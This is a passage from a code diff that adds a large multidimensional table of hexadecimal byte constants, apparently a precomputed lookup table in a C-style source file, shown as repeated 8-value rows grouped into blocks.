+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x13, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x16, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x3d, 0x0e, 0x37},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x22, 0x0b, 0x04, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x01, 0x22, 0x1b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x1e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x14, 0x35, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x0e, 0x37},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x38, 0x01, 0x2a, 0x0b, 0x24, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x22, 0x0b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x22, 0x3b, 0x0c, 0x2d, 0x0e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x3e, 0x27},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x32, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x1d, 0x06, 0x37},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x38, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x01, 0x2a, 0x0b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x22, 0x2b, 0x0c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x2d, 0x2e, 0x27},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x30, 0x11, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x0b, 0x24, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x28, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x2a, 0x2b, 0x2c, 0x2d, 0x0e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x2b, 0x0c, 0x25, 0x2e, 0x0f},
+            {0x28, 0x09, 0x02, 0x3b, 0x0c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x2e, 0x07},
+            {0x20, 0x09, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07},
+            {0x20, 0x19, 0x02, 0x3b, 0x1c, 0x25, 0x3e, 0x07}
+        },
+        {
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x1d, 0x06, 0x3f},
+            {0x18, 0x21, 0x3a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x18, 0x21, 0x2a, 0x03, 0x24, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x03, 0x2c, 0x0d, 0x06, 0x3f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x08, 0x21, 0x2a, 0x0b, 0x2c, 0x0d, 0x06, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x0d, 0x0e, 0x2f},
+            {0x28, 0x29, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f},
+            {0x28, 0x09, 0x0a, 0x2b, 0x2c, 0x25, 0x2e, 0x0f},
